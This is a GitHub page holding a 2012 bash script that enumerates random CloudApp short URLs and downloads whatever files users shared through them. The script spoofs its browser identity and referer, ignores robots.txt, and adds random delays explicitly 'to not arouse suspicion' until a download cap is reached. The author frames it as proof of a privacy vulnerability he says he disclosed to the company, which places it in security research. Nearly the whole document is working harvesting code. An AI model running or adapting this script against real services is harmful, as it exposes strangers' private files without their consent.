-
Notifications
You must be signed in to change notification settings - Fork 0
/
ca-harvester.sh
executable file
·175 lines (158 loc) · 5.23 KB
/
ca-harvester.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#!/bin/bash
#
###############
# Distributed under the terms of the BSD License.
# Copyright (c) 2012 Phil Cryer phil@philcryer.com
# Source https://github.com/philcryer/ca-harvester
###############
#
# name: ca-harvester.sh
#
# features: creates a random C l o u d A p p short URL (cl . ly/xxxx)
# checks that URL, if it finds content it downloads it
# renames the file, preserving the url suffix in the filename
# limits overall size of download in MB (default 100MB)
#
# usage: chmod +x ca-havester.sh
# ./ca-harvester.sh
# (optional) edit ca-harvester.sh and modify SIZE_LIMIT
#
# disclosure: I disclosed this vulnerability to the company that runs this
# service on Thursday, 1 Dec 2011 at 23:09:20 -0600 The code
# was released Wednesday, 15 February 2012 at 20:09:15 -0600
#
# inspiration: @dcurtis http://cargo.dustincurtis.com.s3.amazonaws.com/
# c l o u d a p p - rou let te.html
# C l o u d A p p banned that webapp, but did nothing more for
# users' privacy. The goal of this project was to prove that.
#
# license: this is open source software released under the Simplified BSD
# License (http://www.opensource.org/licenses/bsd-license.php)
#
# ran_quote: there were more but now drops
#
# contact: phil at philcryer dot com
#
###############
###############
# limit overall download size in MB
###############
SIZE_LIMIT="500"
###############
# make a directories to store files
###############
if [ -d 'files' ]; then
mv files files.`date +'%Y%m%d.%s'`
mkdir files
else
mkdir files
fi
echo " ** CtrollApp starting up!";echo
###############
# define a logfile for stats
###############
LOG="/tmp/ctrollapp.log"
cat /dev/null > ${LOG}
###############
# set initial directory size
###############
DIR_SIZE="0"
###############
# this one is called THE LOOP
###############
until [ "${DIR_SIZE}" -ge "${SIZE_LIMIT}" ]; do
###############
# create a random id for beginning of the URL path [1-9]
###############
fooid=""
MAXSIZE=1
array1=( 1 2 3 4 5 6 7 8 9 )
MODNUM=${#array1[*]}
pwd_len=0
while [ $pwd_len -lt $MAXSIZE ]
do
index=$(($RANDOM%$MODNUM))
fooid="${fooid}${array1[$index]}"
((pwd_len++))
done
###############
# create a random 3 character string for the tail of the URL
###############
foostring=""
MAXSIZE=3
array1=( 1 2 3 4 5 6 7 8 9 0 a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M O P Q R S T U V W X Y Z )
MODNUM=${#array1[*]}
pwd_len=0
while [ $pwd_len -lt $MAXSIZE ]
do
index=$(($RANDOM%$MODNUM))
foostring="${foostring}${array1[$index]}"
((pwd_len++))
done
ID=${fooid}${foostring}
echo " ** Will now try http://cl.ly/${ID}";echo
###############
# wget the URL
###############
if which wget > /dev/null; then
wget --user-agent="Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)" --tries=2 --recursive --level=2 --max-redirect=2 --referer=www.google.com -R .swf,.js,.ico,.css --continue --no-parent --no-host-directories --reject index.html --cut-dirs=2 -P files --execute robots=off http://cl.ly/${ID}
echo "x" >> ${LOG}
#elsefi which curl > /dev/null; then
# curl --user-agent 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)' --retry 2 --max-redirs 2 --output files --referer=www.google.com -O http://cl.ly/${ID}
# echo "x" >> ${LOG}
else
# echo " ** You need wget or curl installed - failed"; exit 1
echo " ** You need wget installed - failed"; exit 1
fi
###############
# check for content
###############
echo; cd files
if [[ -f "${ID}" ]]; then
FILENAME=`cat ${ID} | grep "Direct link" | cut -d"\"" -f4 | cut -d"/" -f5` > /dev/null
FILENAME_STRIPPED=`echo "${FILENAME}" | sed "s/%20/ /g"`
fi
###############
# if we got content, rename the file so the URL's suffix is preserved
###############
if [[ -f "${FILENAME_STRIPPED}" ]]; then
echo " ** Filename: ${FILENAME_STRIPPED}"
mv "${FILENAME_STRIPPED}" ${ID}-"${FILENAME_STRIPPED}"
rm -f ${ID} > /dev/null 2>&1
cd - > /dev/null
else
echo " ** Filename: <null>"
rm -f ${ID} > /dev/null 2>&1
cd - > /dev/null
fi
###############
# are we at our size limit?
###############
DIR_SIZE=$(du -ms files | awk '{print $1}')
NUM_FILES=`ls -1 files/ |wc -l`
SIZE_FILES=`du -h files/ | awk '{print $1}' | tail -n1`
echo; echo " ** Downloaded: ${NUM_FILES} files, total size ~${SIZE_FILES}"
###############
# if < SIZE_LIMIT, sleep between 1 and 15 seconds, to not arouse suspicion
###############
if [ ! "${DIR_SIZE}" -ge "${SIZE_LIMIT}" ]; then
delay=$(($RANDOM % 15))
echo " ** Sleeping for $delay seconds before the next run"
sleep $delay
fi
done
###############
# done, we must have hit the SIZE_LIMIT
###############
echo " ** All done!";echo
###############
# sum things up, give an average of how we did
###############
ATTEMPTS=`cat ${LOG} | grep x | wc -l`
rm ${LOG} > /dev/null 2>&1
HITS=`ls -1 files/ | wc -l`
SUM=`echo "${HITS} / ${ATTEMPTS}" | bc -l`
echo " ** Files found: ${HITS}"
echo " ** Attempts: ${ATTEMPTS}"
echo " ** Average: `echo ${SUM} | awk '{print substr($0,0,3)}' | cut -d"." -f2`%"; echo
exit 0